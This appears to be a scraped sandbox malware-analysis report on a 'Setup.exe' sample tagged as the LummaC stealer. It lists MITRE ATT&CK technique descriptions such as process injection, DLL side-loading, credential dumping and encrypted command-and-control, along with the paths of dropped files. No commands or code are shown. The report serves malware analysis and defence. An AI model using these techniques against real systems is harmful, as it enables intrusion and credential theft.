Instruction Fuzzy Hash: 662149F27203169BDB34597F9881BA7BE96DBC2314F24803A9507C7782DD35D8818361

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\R

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Bm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Diagram

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Firewall

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Gap

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Infrastructure

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Introduced

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lease

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lightweight

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lower

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Pensions

Windows Analysis Report
Setup.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre